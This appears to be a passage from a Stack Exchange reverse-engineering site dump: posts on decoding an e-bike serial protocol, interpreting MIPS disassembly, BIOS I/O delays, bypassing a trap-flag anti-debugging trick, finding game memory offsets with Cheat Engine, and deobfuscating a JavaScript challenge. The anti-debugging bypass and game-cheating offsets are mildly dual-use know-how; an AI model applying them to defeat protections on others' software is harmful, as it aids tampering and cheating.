  <row Id="18972" PostTypeId="2" ParentId="18966" CreationDate="2018-08-03T23:58:30.210" Score="2" Body="&lt;p&gt;I understand your Arduino serves as a relay in the middle between the controller and the LCD. What you could do (not extremely exciting, but you did not mention whether you made similar experiments already, and I hope I understood your situation well):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Modification of single bits. If you visually observe the display and connect a switch at your Arduino serving as a trigger to modify one or more single bits in the direction to the display, and observe which display indication changes.&lt;/li&gt;&#xA;&lt;li&gt;The same in the opposite direction. Observe if the bike changes its behaviour.&lt;/li&gt;&#xA;&lt;li&gt;Suppress your heartbeat telegrams and observe what happens.&lt;/li&gt;&#xA;&lt;li&gt;An easy experiment would be to switch on the bike's light and observe the changes in the telegrams.&lt;/li&gt;&#xA;&lt;li&gt;Add timestamps to your telegrams. If you install a trigger at your Arduino, give it a timestamp too, to have the exact change time in the telegram log.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In short, try to make changes (one at a time) in a defined way  either at the bike or in the telegrams or groups of telegrams and observe if it gives you hints about the content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another question would be if you cross-checked your Arduino telegram decoding, e.g. with some passive sniffer. I understand you trust your decoder because everything works as before (without the Arduino in between). But this might simply be due to the fact that corrupted telegrams are discarded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A coarse inspection of your log shows properties not easily understood.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example&lt;/strong&gt;: The lines &lt;em&gt;#133&lt;/em&gt; and &lt;em&gt;#134&lt;/em&gt; in the file &lt;strong&gt;ebike_sw_hex_dump.txt&lt;/strong&gt; (the one with the heartbeat):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;02 0E 01 00 40 00 00 03 0B B8 00 00 35 C8&#xA;02 0E 01 00 40 00 03 0B B8 00 00 35 C8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second telegram is identical to the first one except from the missing zero in the middle. In particular the last seven bytes are identical. If I assume that the logical content of these last seven bytes is identical in both telegrams, how should an interpreter come to this conclusion? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;protocol switch&quot; would probably be the byte after the &lt;code&gt;40&lt;/code&gt;. This however would contradict the assumption that the last seven bytes mean the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this example and other strange lines, e.g. those with the FE or FF at the end, I would suggest an independent cross-check of the decoder, just to make sure that your log shows the correct bytes. Similar as you suspected, in such a system I would have expected constant telegram lengths as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, there is more which could be tried. These were just some simple ideas which came into mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A similar experiment as yours is published in the web, under &lt;a href=&quot;https://endless-sphere.com/forums/viewtopic.php?f=2&amp;amp;t=73471#p1109048&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://endless-sphere.com/forums/viewtopic.php?f=2&amp;amp;t=73471#p1109048&lt;/a&gt;, decoded protocol attached, however with a different controller, and showing no obvious similarity to your logs. But maybe it gives some hints as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, a nice study!&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-08-03T23:58:30.210" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18973" PostTypeId="2" ParentId="18970" CreationDate="2018-08-03T23:58:56.107" Score="2" Body="&lt;p&gt;No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IDA generates C-like pseudo code from &lt;em&gt;object code&lt;/em&gt;. That is, the input to the decompiler is object code - not assembly language, which is represented in ASCII - and the output is a high-level language approximation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that assembly language is a human-readable mnemonic representation of object code operation codes (opcodes) and operands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since decompilation is a major technical challenge, no Linux utilities have been developed to accomplish decompilation.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-08-03T23:58:56.107" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18974" PostTypeId="1" CreationDate="2018-08-04T11:13:56.010" Score="0" ViewCount="1489" Body="&lt;p&gt;I have disassembled MIPS binary with raw opcodes. How to interpret, for example, these lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Disassembly of section .data:&#xA;&#xA;00000000 &amp;lt;.data&amp;gt;:&#xA;    ... ...&#xA;    f864:   30a5ffff    sd  ra,-23248(ra)&#xA;    f868:   00804021    addi    zero,t2,-32768&#xA;    f86c:   10a00017    bnez    t8,0xffff78b0&#xA;    f870:   00004821    addi    t0,t2,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and these 3 lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;25b8:   8c670000    syscall 0x19e&#xA;25bc:   8c680004    bltz    zero,0x1c7f0&#xA;25c0:   8c690008    j   0x1a630&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what mean data in each column?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; The files are contents of memory (in hex) of SPI Flash regions, converted to binary form (.bin) use &lt;code&gt;xxd -r&lt;/code&gt;. The &lt;code&gt;file&lt;/code&gt; command determines the file type of file.bin as &lt;code&gt;data&lt;/code&gt; file type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried transform binary into &lt;a href=&quot;https://github.com/octavetek/research/blob/master/Bootloader.elf?raw=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;ELF&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mips-linux-gnu-objcopy -I binary -O elf32-little --rename-section .data=.text --change-address +0x80000000 file.bin file.elf&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then to disassemble an ELF &lt;a href=&quot;https://pastebin.com/raw/bF4uapVd&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mips-linux-gnu-objdump -m mips  -D file.elf&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14092" LastEditorUserId="14092" LastEditDate="2018-08-07T19:52:42.710" LastActivityDate="2018-08-07T19:52:42.710" Title="How to interpret disassembled MIPS code?" Tags="|disassembly|assembly|linux|embedded|mips|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18976" PostTypeId="2" ParentId="18974" CreationDate="2018-08-04T14:05:26.840" Score="2" Body="&lt;p&gt;The &lt;code&gt;.data&lt;/code&gt; &lt;em&gt;section&lt;/em&gt; is mapped to the &lt;em&gt;data segment&lt;/em&gt; which is not executable. This is because it does not contain executable code; rather, it contains data (hence the name). As a result, when this data is treated as code and disassembled, the results will not be meaningful. &lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2018-08-04T14:05:26.840" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18977" PostTypeId="1" AcceptedAnswerId="18988" CreationDate="2018-08-04T23:12:03.950" Score="1" ViewCount="5083" Body="&lt;p&gt;I am trying to protect my app code from theft. Since most of it is written in javascript I had to use many obfuscation techniques to make it incomprehensible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have written a very small piece of code for demonstration purposes (under 20 lines) which has been obfuscated. I wonder how easy it is to reverse engineer or is it difficult enough to make life a hell?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here a demo with the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://jsfiddle.net/0s84pxvc/1/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://jsfiddle.net/0s84pxvc/1/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Goal:&lt;/strong&gt; can you find out how the string inside the alert is generated when you fire a click event on the window? &lt;/p&gt;&#xA;" OwnerUserId="25236" LastEditorUserId="25236" LastEditDate="2018-08-05T14:12:26.313" LastActivityDate="2023-12-10T15:37:22.427" Title="Is deobfuscation of my javascript code hard or easy?" Tags="|obfuscation|deobfuscation|javascript|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="18978" PostTypeId="1" AcceptedAnswerId="18979" CreationDate="2018-08-05T00:36:24.013" Score="2" ViewCount="2153" Body="&lt;p&gt;I am trying to reverse a program which is employing some kind of anti-debugging trick based on the use of  SEHs and the TF. The code stars with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fzMTz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fzMTz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So apparently it's generating an exception with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XOR DWORD PTR [ESP], 154h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which ultimately terminates with a call to &lt;code&gt;ExitProcess()&lt;/code&gt; without even running the program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;code&gt;NOP&lt;/code&gt;s to bypass this but since upon execution the EP is already pointing to this problematic piece of code it did not work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can  I bypass this and what's really triggering the exception?&lt;/p&gt;&#xA;" OwnerUserId="25237" LastEditorUserId="53" LastEditDate="2018-08-05T09:30:31.067" LastActivityDate="2018-08-05T19:36:49.107" Title="Trap Flag - Anti-debugging trick" Tags="|windows|x86|anti-debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18979" PostTypeId="2" ParentId="18978" CreationDate="2018-08-05T06:51:44.033" Score="2" Body="&lt;p&gt;It is setting a trap flag with that xor instruction &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when it is run normally (not under debugger)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the trap flag is triggered so the handler gets a chance to execute &lt;/p&gt;&#xA;&#xA;&lt;p&gt;when the binary is run under debugger the trap flag is ignored &#xA;and the handler doesn't get a chance to execute&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hard patch to point to the handler directly or simply change the eip in debugger  for analyzing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;your screenshot looks like you are using ollydbg &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if so just press shift + f9 after setting a breakpoint at 0x401060  @ the seh handler  that would pass the exception to the program and would bypass the trick&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-08-05T19:36:49.107" LastActivityDate="2018-08-05T19:36:49.107" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18980" PostTypeId="2" ParentId="18701" CreationDate="2018-08-05T09:47:24.790" Score="1" Body="&lt;p&gt;By looking how this function is implemented, it looks like there's no option for this (but go ask on &lt;a href=&quot;https://telegram.me/joinchat/ACR-FkEK2owJSzMUYjt_NQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;r2's on Telegram&lt;/a&gt;). It just takes a string that's being converted to a number and that's all. If you want to see all the places where &lt;code&gt;fs:[0x28]&lt;/code&gt; being used why not search for this part of the opcode?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004049a0]&amp;gt; /c fs:[0x28]&#xA;0x00402a19   # 9: mov rax, qword fs:[0x28]&#xA;0x00403f81   # 9: xor rcx, qword fs:[0x28]&#xA;0x00404dc1   # 9: mov rax, qword fs:[0x28]&#xA;0x00404de6   # 9: xor rdx, qword fs:[0x28]&#xA;0x00405431   # 9: mov rax, qword fs:[0x28]&#xA;0x004054ea   # 9: xor rbx, qword fs:[0x28]&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-08-05T09:47:24.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18981" PostTypeId="1" AcceptedAnswerId="18987" CreationDate="2018-08-05T10:59:55.710" Score="2" ViewCount="163" Body="&lt;p&gt;I'm debugging an old PC BIOS and see a lot of what I assume are delay sequences, using 0-byte jump instructions (&lt;code&gt;EB 00&lt;/code&gt; = &lt;code&gt;jmp short $+2&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qaux2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qaux2.png&quot; alt=&quot;perform some I/O and three &amp;quot;pointless&amp;quot; jumps&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why this particular instruction? I'm guessing it must have some desirable timing properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CPU in question is a 386SX clocked at 16MHz.&lt;/p&gt;&#xA;" OwnerUserId="25222" LastActivityDate="2018-08-05T18:55:07.170" Title="Why are these 0-byte jumps used as a delay?" Tags="|disassembly|x86|bios|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18982" PostTypeId="1" AcceptedAnswerId="19013" CreationDate="2018-08-05T11:49:29.020" Score="1" ViewCount="87" Body="&lt;p&gt;I want to generate this assembly code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ecx, &amp;lt;absolute address of func1&amp;gt;&#xA;call ecx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I write and compile C code which generates this code?&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="53" LastEditDate="2018-08-08T10:51:31.390" LastActivityDate="2018-08-08T10:51:31.390" Title="Generate this assembly from a c program" Tags="|assembly|c|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18983" PostTypeId="1" AcceptedAnswerId="19057" CreationDate="2018-08-05T11:57:44.370" Score="5" ViewCount="113" Body="&lt;p&gt;I'm debugging an old PC BIOS and it has most of its constant strings interspersed directly with the code, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bO5Ee.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bO5Ee.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the comment notes, the function &lt;code&gt;putsc&lt;/code&gt; will take the string as its argument, finding it via the return address! After iterating over the string, it actually patches the stack to make a proper return.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MsNWG.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MsNWG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question, and I hope it's not too vague:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is or was passing constant arguments like this, sticking them right after the call, in any way a common technique for low-level (hand-written?) code such as this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would you even prefer to do it this way rather than using a table of strings elsewhere?&lt;/p&gt;&#xA;" OwnerUserId="25222" LastActivityDate="2018-08-13T15:05:48.927" Title="Passing a (string) argument via the return address?" Tags="|disassembly|x86|bios|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18984" PostTypeId="1" CreationDate="2018-08-05T12:06:39.657" Score="1" ViewCount="751" Body="&lt;p&gt;I'm quite new to reverse engineering and I'm currently trying things out on a game called Assault Cube. What I've done so far is finding offsets to my players health, ammo, name, etc.. When doing so I've ended up with getting 3 different base addresses looking as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ac_client.exe+109B74&#xA;ac_client.exe+10F4F4&#xA;ac_client.exe+11E20C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'm wondering how it comes that there are three different base addresses that all lead to my players health when adding the offset 0xF8 for example?&#xA;I've tried to google it but couldn't find any answer to my question.&lt;/p&gt;&#xA;" OwnerUserId="25122" LastEditorUserId="245" LastEditDate="2018-08-14T13:35:14.663" LastActivityDate="2021-11-26T19:01:45.137" Title="multiple base addresses?" Tags="|address|cheat-engine|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18985" PostTypeId="1" AcceptedAnswerId="19009" CreationDate="2018-08-05T14:54:14.263" Score="6" ViewCount="7669" Body="&lt;p&gt;I am reversing a 32-bits ELF executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov al, byte ptr ds:xxxxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;xxxxx&lt;/code&gt; is an absolute address.&#xA;What is the meaning of &lt;code&gt;ds&lt;/code&gt; here?&lt;/p&gt;&#xA;" OwnerUserId="18590" LastEditorUserId="60" LastEditDate="2018-08-05T18:59:00.317" LastActivityDate="2018-08-07T21:47:23.647" Title="What does ds mean in mov instruction?" Tags="|assembly|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="18987" PostTypeId="2" ParentId="18981" CreationDate="2018-08-05T18:55:07.170" Score="3" Body="&lt;p&gt;Here's a fragment from the leaked AWARD BIOS source code (file &lt;code&gt;COMMON.MAC&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SIODELAY    MACRO               ; SHORT IODELAY&#xA;        jmp short $+2&#xA;        ENDM&#xA;&#xA;IODELAY     MACRO               ; NORMAL IODELAY&#xA;        siodelay&#xA;        siodelay&#xA;        ENDM&#xA;&#xA;WAFORIO     MACRO               ; NORMAL IODELAY&#xA;        siodelay&#xA;        siodelay&#xA;        siodelay&#xA;        siodelay&#xA;        siodelay&#xA;        siodelay&#xA;        ENDM&#xA;&#xA;NEWIODELAY      MACRO&#xA;        out 0ebh,al              &#xA;            ENDM  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So apparently this was intended specifically as a delay after I/O operations, presumably to give the potentially slow hardware time to process the request from the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also found this in the &lt;a href=&quot;http://www.edm2.com/index.php/OS/2_Device_Driver_Frequently_Asked_Questions#Is_a_delay_necessary_between_I.2FO_operations&quot; rel=&quot;nofollow noreferrer&quot;&gt;OS/2 programming FAQ&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;: I looked at some code in ddk\src\dev\mouse\bus.asm which diddles with the interrupt controller, and it calls MyIODelay in&#xA;  between IN and OUT instructions. I'm not clear why these are required.&#xA;  It says something about letting the bus catch up - is this brain dead&#xA;  hardware or what? &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Answer&lt;/strong&gt;: You were right first time - brain dead hardware. &quot;Some&quot; (not all) IO devices cannot do: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  in al,dx&#xA;  or al,MASK&#xA;  out dx,al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;as the CPU is faster than the IO peripherals, received wisdom is that&#xA;  you should put an arbitrary small delay between IO access to the same&#xA;  IO device. And most people use: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  in al,dx&#xA;  or al,MASK&#xA;     jmp next_instruction&#xA;next_instruction:&#xA;  out dx,al&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;The jump op has the additional &quot;benefit&quot; of flushing the CPUs&#xA;  instruction pipeline and thereby slowing down processing even more.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It's not quite the pattern in your snippet so could be just an instance of cargo-cult copypasting.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-08-05T18:55:07.170" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18988" PostTypeId="2" ParentId="18977" CreationDate="2018-08-05T18:58:52.300" Score="3" Body="&lt;p&gt;Resolved.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;generally nothing in js is impossible to reverse&lt;/li&gt;&#xA;&lt;li&gt;in this case the 'alert' string in plain text give me a big help, because I simply started to resolve function value one step back at time.&lt;/li&gt;&#xA;&lt;li&gt;same thing for the setInterval, it was in plain Text&lt;/li&gt;&#xA;&lt;li&gt;This is near the same identical schema of obfuscation of a PDF virus, a JS that internally was doing massive click on a ad rotator; I never see another sample of this before... this is simply strange, I hope&lt;/li&gt;&#xA;&lt;li&gt;to kill the anti debug trap, simply overrife the debugger function or at first debugger pause, simply click 'disable breakpoint'. Note that this lead to a memory leak, a big memory leak, and Chrome protect itself by stopping recursion. To avoid this, when in pause see the stack call list, get the place when the anonimous function is called and overrie it to simply do nothing&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;strong&gt;DECODE THE ARRAY&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Decode unicode. Use &lt;a href=&quot;http://www.online-toolz.com/tools/text-unicode-entities-convertor.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;an online tool like this&lt;/a&gt; and you can got&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var _0x1b0e=['RNBwL','ScKnC','BdjwA','gjKqY','NLCsj','3|2|1|5|0|4|6','iXTyC','constructor','call','Pvdko','ymXVL','uEdcI','I am obfuscated...','riWLD','click','addEventListener','Handler','bind','PwLbK','jYzDF','ndilm','AYDEt','stateObject','vIaGc','pZYix','yTHkP','NHTVJ','CRKBx','enNxX','I am still ','JEZNs',' hours a day obfuscated!','RBXnA','0|1|3|6|5|2|4','TlFHD','NIHXQ','bKETV','ZvwJA','jTRge','lwamn','xjQhJ','tZgNp','PEeVj','FwPPe','HyevS','ffbgA','uQzhD','hOThG','RDxue','zUlaT','qxKfp','7|0|6|4|8|1|5|2|3','kEOXz','hDbut','DEbtW','EWekr','string','uLpny','OKzxq','NUsPS','xQKWu','while (true) {}','YNeoc','counter','hlebj','vtlYy','FxZTK','pLTxF','GWIKo','MHAff','Vgchj','RVWUv','length','Yplhb','DhPfd','RYVOZ','IJelL','LEBxy','uopuc','JTcvT','emAWc','GNCRi','nnpzO','kFplL','UBabX','leugg','hgMkn','uwEeM','IsYwa','xvqSS','WBYyN','wYbEn','NVOhv','lrXaL','sCqTs','tlBST','QVIIo','RqrUk','oyxkA','UpIwZ','TADqK','KHgQl','lyfsc','LuNwu','xVbVv','OsXCq','ItQkC','uXiDn','QnQvl','GVxah','SofZe','VunRI','wnuof','fUBve','foyFv','DlhfN','7|4|1|0|2|5|8|3|6','lkihY','qOXDh','ErKPA','YtkOE','qwIQA','ywRts','CjQTl','WLHwy','apply','console','split','debug','warn','info','trace','log','error','exception','cBfic','FdtOi','xXeRs','oKaof','return (function() ','tbYvC','{}.constructor(&amp;quot;return this&amp;quot;)( )','IjtnV','JRoNn','mQiLi','OIhHz','function *\( *\)','Smwjb','\+\+ *(?:_0x(?:[a-f0-9]){4,6}|(?:\b|\d)[a-z0-9]{1,4}(?:\b|\d))','anVxw','init','PBXIl','DedOs','chain','oLLoP','input','PjnEZ','btVNP','zPhfG','WLdDf','Glpfp','IJdqv','WCdVE','gwVJU','IbJVG','ZHHTo','aNucS','cHacR','CEAKU','sSJyA','test','cgpWb','duVJu','zdtWo','PbmnJ','IQbBw','naiWO','QewNf','TpeaO','kDYZL','GJZry','YGCTR','ztBcC','lkDUw','RJjSU','LbegF','gxAQf','BToeI','LsOQW','HyNsS','hUvxa','FrcoK','xaYAI','dxdFC','glyis','fLiNQ','zgXtG','oLHYG','GOzNr','dJbqD','CyyGn','nAaFv','JTpMq','cyOzF','INWzx','wTsIO','EdBey','pfRVT','eOkUT','ophhQ','wuWdq','lPvac','rQIPK','vxJVR','rRYsV','qQKiS','debu','piAiF','gger','PnsCa','action','afbRz','HKuCd','eRGsq','BisqR','KdEkB','gMVsG','XEayW','LPtpl','ErVeQ','EEfQz','jKbtX','xCKWk','wfZEF','GgolG','sBRCc','yNhcf','jVPUr','jOCmP','DjMYX','6|4|7|5|2|0|3|8|1','bmgZk','UFuMD','vrpeE','MbsEY'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Here you find the &amp;quot;I am still obsfuscated...&amp;quot; and the other string, but this is just the color of the flag, not the flah itself, because you asked 'how you showed it'.&lt;/p&gt;&#xA;&lt;p&gt;I can point to the alert function near the bottom of the code, but it was too simple ....&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The key for the work is the 2n function&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var _0x2bb4 = function(_0x5c85d8, _0xdd28ab) {&#xA;    _0x5c85d8 = _0x5c85d8 - 0x0;&#xA;    var _0xda35ee = _0x1b0e[_0x5c85d8];&#xA;    return _0xda35ee;&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Wich can be simplified as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var _0x2bb4 = function(index) { return _0x1b0e[index] };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then I replaced &lt;code&gt;_0x1b0e&lt;/code&gt; with &lt;code&gt;string_array&lt;/code&gt;, So I got&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var _0x2bb4 = function(index) { &#xA;  console.log (index, string_array[index]);&#xA;  return string_array[index]; &#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And replace every call to _0x2bb4(something) with their result.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;.. at the end of the story ..&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first call is done at the end of the code where there is this code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if( &#xA; _0x28a0fa[_0x2bb4('0xd2')] (&#xA;    _0x28a0fa[_0x2bb4('0xec')],&#xA;    _0x28a0fa[_0x2bb4('0xec')]&#xA;  )&#xA;){&#xA; _0x28a0fa[_0x2bb4('0xde')]&#xA; (alert,_0x28a0fa[_0x2bb4('0xdf')]);&#xA;&#xA; window[_0x2bb4('0x97')](_0x28a0fa[_0x2bb4('0xe0')],this[_0x2bb4('0x98')][_0x2bb4('0x99')](this));}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The if is a if ( 1 )  because is comparing two identical strings and the &lt;code&gt;_0x28a0fa[_0x2bb4('0xde')]( arg1, arg2 ) &lt;/code&gt; is a simple&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;args1(arg2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;doing&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;alert (_0x28a0fa[&amp;quot;uwEeM&amp;quot;]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;_0x28a0fa[&amp;quot;uwEeM&amp;quot;]&lt;/code&gt; is  &lt;code&gt;_0x2bb4('0x94')&lt;/code&gt; that returns &lt;code&gt;_0x1b0e[0x94]&lt;/code&gt; that is exactly the string &amp;quot;I am still obfsuscated&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;While the second time the alert is showed is thanks this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;setInterval(function() {&#xA;    var _0x3d8cab = {};&#xA;    _0x3d8cab[_0x2bb4('0x91')] = function(_0x2383ea) {&#xA;        return _0x2383ea();&#xA;    };&#xA;    _0x3d8cab[_0x2bb4('0x91')](_0x58c724);&#xA;}, 0xfa0);&#xA;&#xA;&#xA;setInterval(function() {&#xA;    var _0x3d8cab = {};&#xA;    _0x3d8cab[&amp;quot;Pvdko&amp;quot;] = function(_0x2383ea) {&#xA;        return _0x2383ea();&#xA;    };&#xA;    _0x3d8cab[&amp;quot;Pvdko&amp;quot;](_0x58c724);&#xA;}, 0xfa0);&#xA;&#xA;&#xA;setInterval(function() {&#xA;    &#xA;    what_to_call = function(_0x2383ea) {&#xA;        return _0x2383ea();&#xA;    };&#xA;    what_to_call(_0x58c724);&#xA;}, 0xfa0);&#xA;&#xA;setInterval(function() {&#xA;    &#xA;    what_to_call = function(function_to_call) {&#xA;        return function_to_call();&#xA;    };&#xA;    what_to_call(_0x58c724);&#xA;}, 0xfa0);&#xA;&#xA;setInterval(function() {&#xA;    &#xA;   _0x58c724();&#xA;}, 4000);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The function &lt;code&gt; _0x58c724();&lt;/code&gt; in defined in the code, you can simply search vy its name.&lt;/p&gt;&#xA;&lt;p&gt;It's accepting an argument. and it's nead just few line before the previous alert code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (_0x3f8146) {&#xA;            if (_0x28a0fa[_0x2bb4('0xc8')](_0x28a0fa[_0x2bb4('0xe8')], _0x28a0fa[_0x2bb4('0xea')])) {&#xA;                return ![];&#xA;            } else {&#xA;                return _0x3145db;&#xA;            }&#xA; 